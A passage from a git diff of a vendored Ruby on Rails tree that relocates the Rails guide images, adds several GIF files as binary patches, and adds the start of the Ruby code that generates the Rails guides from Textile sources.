zCQ&y7l*`$ZAG({8l}fN=1d4G3$?^gRK%4z>i^rfUoEeqs&7_H)rexTNgo%1dxG?sHV?n7tRA-@jvx+>aS$5PK6VN3vU;_^@GHvJsAus_M
zAR@Pjp1Ftv>)@lfuuQJ>gXb}bJQ!^CX?Pq$Jn`9rMB0MJCO0sb5SH_sUn-J8d4-VZ
zs(O@J0~e?AhGUeciGFE>uevb*X1b!mS2uQ}sy7unc4MnTAY;RdoxVzrrPw=)kph@N
zC$sWGZD<3PnGnQ)p6ThM?Env$AO#Fyqtqy+=Mha9#y+~ERvQ_9*aux{7djWis(`s;
z0Y#KRH!+!YNRMe#zh{K#_@<-?Uj}EAe&sFp%88!EST8nSjd`q6W^h6faTS166%de#
zTArD)0s*G2#L^2cFn8KO4Jja+G$yV>sy7V4gT#YjhlnFZK$>q8F64PLs@iSxnv>!6
zss)P#u80JG+HGvgr6j4Fm{CHbp?LZ?qXGaBeKyvTBPPgtV^Bc1;D4wk>En
z|Jq288IHJVuLugJg{iam+ON9#x8>uBBK4}a7g!STvkaS;5ao$;6}7CmQv7vp5<3Ya
z3!aH;1I{-rVT%)GYZR0~vU&uwKCnckGyru*0Xx$a6i~RTIg!{ka~2S)rC9_DKt$8V
zw!nLBx`CyZbf6L_mypFglgndq6jbAqU-Cs%b!A~a6;pPUphD}WjTA0_g-3W(x!ed(
zkrhf-7*m=jQ7DzZDTzs%t8I81vCl)X6N>=wlBg7Lp48F5#S$K-aKBkl0N*4;1F*df
z^-Uvsz*sO%LWH~jg``aejKC080BC8aN`=!E9YzIGVxG>pv6KlT+FrL+VWuyVXs`~&l8>
z$j5OCWBkegT!CUztjlolvqJ-MsD%JI5CX=0%sDU{0dWH~z>mhP0y=O5Vypv8p#lN%
z0!xv1M{xrauoT`r0WyFJx$Mh8(P>^t&QxrZqg=nCn;R2=A^QP5(To5jkPsBW9JROu
z81fG{Ai7Sm10HY+F)+^P+!Hbe!v#GDKviEld|IHplxmAhH$cRiu>u;P0ri|C_?!^J
zBoex`8326>2|&;Zoe}#KnI#Ph1=zwpESc=A0a#lZc3c-1@&Fqm022T&HgM4y4ba@o
z(fgbLH}FCm@B%bI10e7M;oK2_oYJBYQ6ucs8evNitpXRlAvL`r4WI!p1Oq(HLK@%!
zwb;@B`td>(Kq3yH0v;gE)SwSi{nk=Fd=TvbZ(J7*FdJCy0bTvoKClB9odZBE61}t;
z4#3tF0oRCK&{Q4Mo3R43aRD2$0dtWMUX9UUtpR`?Ov3~~SjhtWj2(#`+L}CkFpV1_
zpv*DgftB6Ue@)qI%^U&Y0oIe$2K3Gf*3_b%+vUQ}5Pcg7;c8T++I;QTn4J(jpcG3{
zJs>~>FYp2#P}`r4+qym75MoQE?E_X}7gUwn36TR8@F=T&*_pi=G|&LLVFJ^0*wnq=
zq(ar;87XzK0W{{jcD^Lt165=cH&iQcw6+qx9jwS|PAErFA(h3qW
zaM2pT2Oe8%_MZ~z)W!bRTY{ev8!tK`I|4Nh(eW`5>qe&&4eB*G#C8ejrm9_J6T2c~e~
zVUAQfFw$wh=X`GF2QWQKYzzsY73r_p8n~k+yGpT>7-ujrhe+m5Ci}_+r4G8

literal 0
HcmV?d00001

diff --git a/vendor/rails/railties/doc/guides/source/images/ruby_on_rails_by_mike_rundle2.gif b/vendor/rails/railties/guides/images/ruby_on_rails_by_mike_rundle2.gif
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/ruby_on_rails_by_mike_rundle2.gif
rename to vendor/rails/railties/guides/images/ruby_on_rails_by_mike_rundle2.gif
diff --git a/vendor/rails/railties/doc/guides/source/images/session_fixation.png b/vendor/rails/railties/guides/images/session_fixation.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/session_fixation.png
rename to vendor/rails/railties/guides/images/session_fixation.png
diff --git a/vendor/rails/railties/guides/images/tab_grey.gif b/vendor/rails/railties/guides/images/tab_grey.gif
new file mode 100644
index 0000000000000000000000000000000000000000..2174c8ff7e3154b2f2165eb37e41177499365f6d
GIT binary patch
literal 2494
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

literal 0
HcmV?d00001

diff --git a/vendor/rails/railties/guides/images/tab_info.gif b/vendor/rails/railties/guides/images/tab_info.gif
new file mode 100644
index 0000000000000000000000000000000000000000..ce7005f521637e4dc5f98c0354f75fecdbe57b1f
GIT binary patch
literal 2347
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
G0RTH^1f4ek

literal 0
HcmV?d00001

diff --git a/vendor/rails/railties/guides/images/tab_yellow.gif b/vendor/rails/railties/guides/images/tab_yellow.gif
new file mode 100644
index 0000000000000000000000000000000000000000..f9c46022067754151e571535c57fd5299fbbaac5
GIT binary patch
literal 2344
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
JPDHLkV1iT{_#yxR

literal 0
HcmV?d00001

diff --git a/vendor/rails/railties/doc/guides/source/images/validation_error_messages.png b/vendor/rails/railties/guides/images/validation_error_messages.png
similarity index 100%
rename from vendor/rails/railties/doc/guides/source/images/validation_error_messages.png
rename to vendor/rails/railties/guides/images/validation_error_messages.png
diff --git a/vendor/rails/railties/guides/rails_guides.rb b/vendor/rails/railties/guides/rails_guides.rb
new file mode 100644
index 00000000..6da7de89
--- /dev/null
+++ b/vendor/rails/railties/guides/rails_guides.rb
@@ -0,0 +1,31 @@
+pwd = File.dirname(__FILE__)
+$: << pwd
+$: << File.join(pwd, "../../activesupport/lib")
+$: << File.join(pwd, "../../actionpack/lib")
+
+require "action_controller"
+require "action_view"
+
+# Require rubygems after loading Action View
+require 'rubygems'
+begin
+  gem 'RedCloth', '>= 4.1.1'# Need exactly 4.1.1
+rescue Gem::LoadError
+  $stderr.puts %(Missing the RedCloth 4.1.1 gem.\nPlease `gem install -v=4.1.1 RedCloth` to generate the guides.)
+  exit 1
+end
+
+require 'redcloth'
+
+module RailsGuides
+  autoload :Generator, "rails_guides/generator"
+  autoload :Indexer, "rails_guides/indexer"
+  autoload :Helpers, "rails_guides/helpers"
+  autoload :TextileExtensions, "rails_guides/textile_extensions"
+end
+
+RedCloth.send(:include, RailsGuides::TextileExtensions)
+
+if $0 == __FILE__
+  RailsGuides::Generator.new.generate
+end
diff --git a/vendor/rails/railties/guides/rails_guides/generator.rb b/vendor/rails/railties/guides/rails_guides/generator.rb
new file mode 100644
index 00000000..41d22e37
--- /dev/null
+++ b/vendor/rails/railties/guides/rails_guides/generator.rb
@@ -0,0 +1,114 @@
+module RailsGuides
+  class Generator
+    attr_reader :output, :view_path, :view, :guides_dir
+
+    def initialize(output = nil)
+      @guides_dir = File.join(File.dirname(__FILE__), '..')
+
+      @output = output || File.join(@guides_dir, "output")
+
+      unless ENV["ONLY"]
+        FileUtils.rm_r(@output) if File.directory?(@output)
+        FileUtils.mkdir(@output)
+      end
+
+      @view_path = File.join(@guides_dir, "source")
+    end
+
+    def generate
+      guides = Dir.entries(view_path).find_all {|g| g =~ /textile$/ }
+
+      if ENV["ONLY"]
+        only = ENV["ONLY"].split(",").map{|x| x.strip }.map {|o| "#{o}.textile" }
+        guides = guides.find_all {|g| only.include?(g) }
+        puts "GENERATING ONLY #{guides.inspect}"
+      end
+
+      guides.each do |guide|
+        generate_guide(guide)
+      end
+
+      # Copy images and css files to html directory
+      FileUtils.cp_r File.join(guides_dir, 'images'), File.join(output, 'images')
+      FileUtils.cp_r File.join(guides_dir, 'files'), File.join(output, 'files')
+    end
+
+    def generate_guide(guide)
+      guide =~ /(.*?)(\.erb)?\.textile/
+      name = $1
+
+      puts "Generating #{name}"
+
+      file = File.join(output, "#{name}.html")
+      File.open(file, 'w') do |f|
+        @view = ActionView::Base.new(view_path)
+        @view.extend(Helpers)
+
